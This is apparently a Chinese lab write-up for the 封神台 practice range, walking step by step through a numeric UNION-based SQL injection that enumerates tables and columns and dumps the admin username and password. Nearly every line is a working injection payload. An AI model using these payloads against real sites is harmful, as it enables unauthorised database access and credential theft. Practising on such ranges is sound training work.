URL:封神台 - 掌控安全在线演练靶场,是一个在线黑客攻防演练平台。 (zkaq.cn)
1、既是sql注入,首先判断是否存在sql注入漏洞。
判断是否存在sql注入,使用最为经典的单引号判断法,在参数后面加单引号’,无论字符型还是数字型都会因为单引号个数不匹配而报错。因此如果页面返回不正确,便存在sql注入漏洞。
http://rhiq8003.ia.aqlab.cn/?id=1’
2、不出所料,页面报错。判断注入类型。使用and 1=1,and 1=2来判断,
1 and 1=1 页面依旧运行正常,继续进行下一步。
1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
输入1 and 1=2时页面返回不正常,说明此sql注入为数字型注入。
(字符型判断
?id= x' and '1'='1 页面运行正常,继续进行下一步。
?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入
)
3、判断字段数,使用order by判断,直至页面返回不正常。
?id=1 and 1=1 order by 1
?id=1 and 1=1 order by 2
?id=1 and 1=1 order by 3
......
测试到?id=1 and 1=1 order by 3时,页面返回不正常,说明字段数为2。
4、判断回显点,使用联合查询.
?id=1 and 1=2 union select 1
?id=1 and 1=2 union select 1,2
......
在测试到?id=1 and 1=2 union select 1,2时,页面返回2,说明注入点在第二个位置,在2的位置可以显示。
5、查询内容
?id=1 and 1=2 union select 1,database() #查询当前数据库
?id=1 and 1=2 union select 1,version() #查询当前数据库版本
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 #查询表名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 #查询第一个字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 #查询第二个字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 #查询第三个字段名
可查询出admin表中有3个字段,分别为id,username,password.
6、查询字段内容
?id=1 and 1=2 union select 1,username from admin limit 0,1
?id=1 and 1=2 union select 1,username from admin limit 1,1
只返回一个admin用户
接着查询password字段内容,
?id=1 and 1=2 union select 1,password from admin limit 0,1
拿到用户名和密码。admin,hellohack
sqlmap跑会更快!!!